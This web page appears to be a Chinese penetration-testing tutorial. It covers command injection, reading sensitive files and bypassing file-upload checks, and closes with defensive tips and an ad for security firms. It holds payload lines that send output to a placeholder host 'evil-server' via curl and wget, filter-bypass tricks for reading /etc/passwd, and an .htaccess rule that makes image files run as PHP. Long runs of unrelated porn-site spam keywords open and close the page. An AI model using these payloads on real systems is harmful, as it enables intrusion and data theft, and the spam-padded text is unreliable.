亚洲欧洲久久av_极品美女国产精品免费一区_老司机网站免费_免费视频入口_人妻网站成熟人妻VA网站_福利视频网站

網站命令執行滲透測試步驟詳情
  • 更新時間:2025-04-21 18:32:38
  • 開發經驗
  • 發布時間:3年前
  • 718

哈嘍大家好,近期我們Sine安全對客戶平臺進行滲透測試的時候,發現有一些命令執行的漏洞測試語句和函數,導致服務器被提權被入侵,上一節提到XSS跨站腳本攻擊檢測方法,本章來總和一下腳本執行命令的詳細檢測手段,以及繞過waf的辦法,只有這樣詳細的對平臺進行安全測試才能保障整個平臺安全穩定。


3.5.1. 簡介

命令注入通常因為指Web應用在服務器上拼接系統命令而造成的漏洞。

該類漏洞通常出現在調用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主機名/IP/掩碼/網關、查看系統信息以及關閉重啟等功能,或者一些站點提供如ping、nslookup、提供發送郵件、轉換圖片等功能都可能出現該類漏洞。


3.5.2. 常見危險函數

3.5.2.1. PHP

system

exec

passthru

shell_exec

popen

proc_open

3.5.2.2. Python

system

popen

subprocess.call

spawn

3.5.2.3. Java

java.lang.Runtime.getRuntime().exec(command)

3.5.3. 常見注入方式

分號分割

|| && & 分割

| 管道符

\r\n %d0%a0 換行

反引號解析

$() 替換

3.5.4. 無回顯技巧

bash反彈shell

DNS帶外數據

http帶外

curl http://evil-server/$(whoami)

wget http://evil-server/$(whoami)

無帶外時利用 sleep 或其他邏輯構造布爾條件

3.5.5. 常見繞過方式

3.5.5.1. 空格繞過

< 符號 cat<123

\t / %09

${IFS} 其中{}用來截斷,比如cat$IFS2會被認為IFS2是變量名。另外,在后面加個$可以起到截斷的作用,一般用$9,因為$9是當前系統shell進程的第九個參數的持有者,它始終為空字符串

3.5.5.2. 黑名單繞過

a=l;b=s;$a$b

echo "bHM=" | -d

/?in/?s => /bin/ls

連接符 cat /etc/pass'w'd

未定義的初始化變量 cat$x /etc/passwd

3.5.5.3. 長度限制繞過

>wget\

>foo.\

>com

ls -t>a

sh a

上面的方法為通過命令行重定向寫入命令,接著通過ls按時間排序把命令寫入文件,最后執行 直接在Linux終端下執行的話,創建文件需要在重定向符號之前添加命令 這里可以使用一些諸如w,[之類的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能結束,這樣就等于標準輸入流的重定向 而在php中 , 使用 shell_exec 等執行系統命令的函數的時候 , 是不存在標準輸入流的,所以可以直接創建文件

3.5.6. 常用符號

3.5.6.1. 命令分隔符

%0a / %0d / \n / \r

;

& / &&

3.5.6.2. 通配符

* 0到無窮個任意字符

? 一個任意字符

[ ] 一個在括號內的字符,e.g. [abcd]

[ - ] 在編碼順序內的所有字符

[^ ] 一個不在括號內的字符

3.5.7. 防御

不使用時禁用相應函數

盡量不要執行外部的應用程序或命令

做輸入的格式檢查

轉義命令中的所有shell元字符

shell元字符包括 #&;`,|*?~<>^()[]{}$\

3.6. 文件讀取

3.6. 文件讀取

考慮讀取可能有敏感信息的文件

用戶目錄下的敏感文件

.bash_history

.zsh_history

.profile

.bashrc

.gitconfig

.viminfo

passwd

應用的配置文件

/etc/apache2/apache2.conf

/etc/nginx/nginx.conf

應用的日志文件

/var/log/apache2/access.log

/var/log/nginx/access.log

站點目錄下的敏感文件

.svn/entries

.git/HEAD

WEB-INF/web.xml

.htaccess

特殊的備份文件

.swp

.swo

.bak

index.php~

Python的Cache

__pycache__\__init__.cpython-35.pyc

3.7. 文件上傳

3.7.1. 文件類型檢測繞過

3.7.1.1. 更改請求繞過

有的站點僅僅在前端檢測了文件類型,這種類型的檢測可以直接修改網絡請求繞過。同樣的,有的站點在后端僅檢查了HTTP Header中的信息,比如 Content-Type 等,這種檢查同樣可以通過修改網絡請求繞過。


3.7.1.2. Magic檢測繞過

有的站點使用文件頭來檢測文件類型,這種檢查可以在Shell前加入對應的字節以繞過檢查。幾種常見的文件類型的頭字節如下表所示


3.7.1.3. 后綴繞過

部分服務僅根據后綴、上傳時的信息或Magic Header來判斷文件類型,此時可以繞過。

php由于歷史原因,部分解釋器可能支持符合正則 /ph(p[2-7]?|t(ml)?)/ 的后綴,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上傳php文件時測試該類型。

jsp引擎則可能會解析 jspx / jspf / jspa / jsw / jsv / jtml 等后綴,asp支持 asa / asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等后綴。

除了這些繞過,其他的后綴同樣可能帶來問題,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等。


3.7.1.4. 系統命名繞過

在Windows系統中,上傳 index.php. 會重命名為 . ,可以繞過后綴檢查。也可嘗試

index.php%20, index.php:1.jpg index.php::$DATA 等。在Linux系統中,可以嘗試上傳名為 index.php/. 或 ./aa/../index.php/. 的文件


3.7.1.5. .user.ini

在php執行的過程中,除了主 php.ini 之外,PHP 還會在每個目錄下掃描 INI 文件,從被執行的 PHP 文件所在目錄開始一直上升到 web 根目錄($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被執行的 PHP 文件在 web 根目錄之外,則只掃描該目錄。.user.ini 中可以定義除了PHP_INI_SYSTEM以外的模式的選項,故可以使用 .user.ini 加上非php后綴的文件構造一個shell,比如 auto_prepend_file=01.gif 。


3.7.1.6. WAF繞過

有的waf在編寫過程中考慮到性能原因,只處理一部分數據,這時可以通過加入大量垃圾數據來繞過其處理函數。

另外,Waf和Web系統對 boundary 的處理不一致,可以使用錯誤的 boundary 來完成繞過。


3.7.1.7. 競爭上傳繞過

有的服務器采用了先保存,再刪除不合法文件的方式,在這種服務器中,可以反復上傳一個會生成Web Shell的文件并嘗試訪問,多次之后即可獲得Shell。


3.7.2. 攻擊技巧

3.7.2.1. Apache重寫GetShell

Apache可根據是否允許重定向考慮上傳.htaccess

內容為

AddType application/x-httpd-php .png php_flag engine 1

就可以用png或者其他后綴的文件做php腳本了


3.7.2.2. 軟鏈接任意讀文件

上傳的壓縮包文件會被解壓的文件時,可以考慮上傳含符號鏈接的文件 若服務器沒有做好防護,可實現任意文件讀取的效果,如果覺得防護做的不到位 不放心的話,可以找專業的網站安全公司來處理解決,畢竟術業有專攻,國內做的比較好的公司如:Sinesafe,綠盟,啟明星辰等等。


3.7.3. 防護技巧

使用白名單限制上傳文件的類型

使用更嚴格的文件類型檢查方式

限制Web Server對上傳文件夾的解析

我們專注高端建站,小程序開發、軟件系統定制開發、BUG修復、物聯網開發、各類API接口對接開發等。十余年開發經驗,每一個項目承諾做到滿意為止,多一次對比,一定讓您多一份收獲!

本文章出于推來客官網,轉載請表明原文地址:https://www.tlkjt.com/experience/7583.html
推薦文章

在線客服

掃碼聯系客服

3985758

回到頂部

主站蜘蛛池模板: 国产精成A品人V在线播放_亚洲av久久久噜噜噜噜_爆乳护士一区二区三区在线播放_国产精品1区_亚洲色图xxx_国产精品夜间视频香蕉_精选的2019中文字幕视频_69免费在线视频 | 成人精品视频99在线观看免费_国产精品69久久久_欧美性色综合网_日韩在线第一区_欧美xxxxx在线观看_国产精品自拍在线观看_日韩精品免费综合视频在线播放_天堂MV在线MV免费MV香蕉 | 国产成人精品亚洲精品_2017最新高清无码网站_欧美成人黄色_一区二区视频免费_性大片爱赏网免费观看_欧美性受xxxx黑人xxxy爽_精品久久久噜噜噜久久_7777久久香蕉成人影院 | 136fldh导航福利微拍_不卡一区二区在线_一本色道综合久久亚洲精品_一区二区三区高清在线视频_我色综合_在线观看人成_国产精品国产三级国产普通话_青草久久久久 | 亚洲成人黄色在线观看_九一精品视频_天天弄天天模_av免费一区_亚洲一区精品视频在线观看_日韩精品久久无码人妻中文字幕_琪琪五月_久久中文字幕一区二区三区 | 欧美bbbbwwbbbb视频_sese国产_亚洲第一福利在线观看_久久99成人_аⅴ中文天堂最新版在线_天堂VA视频一区二区_CHINESE性内射高清国产_a久久免费视频 国内自拍五区_被黑人的巨茎日出白浆_中文字幕第一区二区_国产亚洲美女精品久久久_亚洲porn_国产伦一区二区三区色一情_人人草人人人_久久无码字幕中文久久无码 | 国产高潮呻吟无码精品AV_麻豆视频入口_无码中文字幕av免费放dvd_日本成a人片在线观看日本_久久成年_欧美丰满熟妇xxxx性ppx人_欧美一级淫片免费视频欧美辣图_韩国中文免费在线视频 | 77777日本少妇久7黄绝片_国产精品天天狠天天看_亚洲中文字幕在线网址_国产亚洲一区二区手机在线观看_午夜影院0606_日日碰狠狠躁久久躁蜜桃_日韩免费视频播放_日本理论片午午伦夜理片2021 热99欧美_久久久精品国产sm调教网站_成人亚洲在线观看_国产一区二区中文字幕免费看_最近中文字幕免费MV在线视频_japanese在线看_色视频www在线播放国产人成_97青娱乐 337P中国人体啪啪_亚洲另类色区欧美日韩图片_成人视频在线观看_国产视频九九_秋霞鲁丝片无码一区二区_欧洲亚洲另类一区在线观看_亚洲成人高清av_亚洲国产成人精品无码区2021 | 亚洲国产成人精品无码区在线网站_国产精品免费久久影_国产一级一片免费播放_精品一卡二卡三卡_91中文啦_天天综合网页在线观看_老妇做爰xxxxhd老少配_久久久久久久久久99精品 | 欧美日韩国产一中文字不卡_亚洲九九视频_成人AV综合在线网站_亚洲人成人伊人成综合网无码_波多中文字幕_日韩亚洲av综合_青草国产精品久久久久久久久_一区二区三区四区不卡在线 | 2019中文字幕在线_97精品超碰一区二区三区_亚洲精品自拍_国产成人毛片精品不卡在线_日黄的免费视频_国产美女一区二区三区在线观看_亚洲激情av在线_800AV凹凸视频免费观看 | av在线免费观看网站_1024在线免费观看_国产成人午夜性a一级毛片_国产微拍精品_五月丁香六月狠狠爱综合_老女人综合网_男同男性xx视频在线观看免费_亚洲第99页 | 国产成人精品怡红院在线观看_欧美精品欧美精品系列c_国产精品馆_97天天综合网_久久av福利_四虎中文_日本老师xxxx18学生_中国vodafonewifi精品网站 | 7777日本精品一区二区三区_在线精品国产欧美_人妻无码αv中文字幕久久_精品999www_午夜精品区_视频免费一区_蜜桃成人免费视频在线播放_黑人巨大两根一起挤进交换 | 超碰碰97_亚洲AV无码乱码国产一区二区_手机在线看片福利_狠狠婷婷综合_欧美精品一区二区三区手机在线_国产老熟女久久久_美国人成人在线视频_欧美四级在线观看 | 夜鲁夜鲁很鲁在线视频视频_深夜福利免费看_天天骑天天干_亚洲精品无码一区二区四区_天天爽夜夜爽成人爽_欧美视频色_996热re视频精品视频这里_天天摸夜夜添夜夜无码 | 国产三级精品三级在线专区_日韩av永久免费网站_国产麻豆91精品三级站_男女啪啪做爰高潮无遮挡_97久久精品久久免费观看_91视频黄污_中文字幕av免费在线观看_潮喷无码正在播放 | 99精品久久毛片a片_日本边添边摸边做边爱的网站_国产免费97_精品久久久一二三区_99久RE热视频这里只有精品6_亚洲一级大黄大色毛片_久久国产精品麻豆_av毛片在线观看地址 | 国产精品视频1_国产一级毛片在线看_亚洲国产精品无码毛_成人97精品毛片免费看_97高清国语在线看免费观看_少妇三级全黄在线播放_国产欧美一区二区三区免费看_欧美大波少妇在厨房被 | 青青青国产依人在线_亚洲国产无色码在线播放_男女好痛好深好爽视频_亚洲欧美一区在线观看_天天爽天天狠久久久综合麻豆_日韩人妻无码喷潮中出_亚洲大香线伊人婷婷五月_天天夜天天操 | 少妇的肉体迎合快乐_国产精品流白浆在线观看_天天摸夜夜添狠狠添高潮出水_精品卡一卡二卡3卡高清乱码_国产AV国片精品有毛_欧美三级视频日日操_久久久久久亚洲精品视频_7m视频成人精品分类 | 午夜高清福利_亚洲精品欧洲_就爱干av_国产片在线免费观看_视频黄色免费_好男人社区WWW在线观看_日日噜噜夜夜狠狠视频_亚洲中文成人中文字幕 | 天天操天天做_国产成年人免费视频_国产视频一区二区三区四区_草草草在线视频_明星ai换脸二三区入口_超碰97人人射妻_中文字幕无码人妻不卡_亚洲天堂av网 | 日本成片区免费久久_伦理久久_香蕉av久久一区二区三区_九九九九九九伊人_午夜精品成人一区二区_公和我做好爽添在厨房_日本色片视频_AV无码精品一区二区三区四区 | 国产又粗又猛又黄又爽无遮挡_日本一二区在线观看_日韩wuma_特黄A又粗又大又黄又爽A片_97色视频在线_日本人成网站18禁止久久影院_少妇极品熟妇人妻无码_午夜精品美女自拍福到在线 | 九九热在线视频_久久这里只有精品18_成年人免费在线视频_日韩在线视频观看免费网站_欧美日韩精品一区二区三区在线观看_一区二区视频免费观看_精品精品视频_黄色网址在线免费看 | 情侣黄网站大全免费看_国产成人AV片无码免费_欧美va免费精品高清在线_狠狠干天天干_欧美一级性_免费的午夜毛片_超碰在线免费福利_国产精品成人777 | 亚洲最新av网站_yy111111少妇影院_国产AV夜夜欢一区二区三区_成人1区2区_欧美日韩版_av中文无码乱人伦_亚洲精品深夜AV无码一区二区_国产麻豆 成人资源在线_无限动漫视频在线观看免费动漫_久久国产二区_美日韩一区二区_亚洲久久视频_少妇高潮呻吟在线观看_国产亚洲2021成人乱码_日本成人久久久 | 国产精品久久久天天影视香蕉_黄色毛片前黄_一本色道久久88亚洲精品综合_青青草欧美_国产一区二区三区天码_久久久精品区_怡春院性无码免费视频_成人短篇合集t×t | 538国产精品一区二区在线_大陆av在线播放_麻豆传媒一区_91精品国产一区二区三区_亚洲艳妇_男女猛烈啪啪无遮挡激烈下香_久热在线观看视频_www·377黄·com | 免费毛片视频播放_成人欧美一区二区三区A片_欧美性大战xxxxx久久久_国产精品久线观看视频_69av一区_亚洲精品视频久久久_欧美国产日韩在线观看成人_9l视频自拍九色9l视频成人 | 成人区一区二区三区_精品毛片_亚洲免费毛片基地_国产精品222_秋霞午夜无码鲁丝片午夜精品_性深夜免费福利视频_嫩草tv_免费高清特黄a大片 | 亚洲黄色性视频_www.亚洲一区二区_成人av午夜_精品久久ai_无码aⅴ免费中文字幕久久_5252aⅴhaose我爱久久_亚洲一区区_一级黄色带片 | 无码国产精品一区二区免费虚拟VR_www.噜噜噜_avtt香蕉久久_天天操天天碰视频_欧美日韩亚洲系列_亚洲午夜福利在线观看老司机_网曝门国产一区二区三区四区_一级做a爰全过程免费视频毛片 | 九九国产精品无码免费视频_亚洲国产日韩在线一区模特_传媒大片免费在线观看网站_免费一级毛片观看_亚洲免费av网站_欧美国产综合在线_日韩在线播放网址_2020年最新国产精品正在播放 久久久久久久波多野结衣高潮_殴美在线一区二区不卡_不戴奶罩的教师水卜樱在线观看_撕开奶罩揉吮奶头高潮av_亚洲精品aⅴ_久天啪天天久久99久久_成人午夜激情视频_免费的av在线 | 久久99精品久久久秒播_视频一区二区视频_cijilu在线视频最新地址_看全色黄大色大片女人爽吗_国产精品久久秋霞鲁丝片_久久高清毛片_青青青在线视频免费观看_色窝窝无码一区二区三区 | 色影天堂_国产亚洲毛片在线_黄色av免费观看_日本最新免费二区三区_放荡老师张开双腿任我玩_亚洲成人www_岛国无码av不卡一区二区_一二三四五社区在线高清观看 | 九九热在线视频_久久这里只有精品18_成年人免费在线视频_日韩在线视频观看免费网站_欧美日韩精品一区二区三区在线观看_一区二区视频免费观看_精品精品视频_黄色网址在线免费看 | 亚洲精品成a人在线_成人在线免费观看视频网站_久久不见久久见www免费视频_99在线观看_在线高清理伦片a_久久精品看_成人精品区_天堂av性爱在线 | 日本a视频在线播放_国产黄色一级毛片_91视频99_国产成人鲁鲁免费视频_亚洲中文无码av永久_国产成人无码AV在线影院_免费成人91_美女视频黄又黄又免费 | 精品国产一区a_欧美日韩二_国产亚洲一卡2卡3卡4卡老狼_亚洲福利在线看_精品欧美一区二区三区久久久_日比视频在线观看_在线超碰免费_麻花传媒沈芯语老师家访 |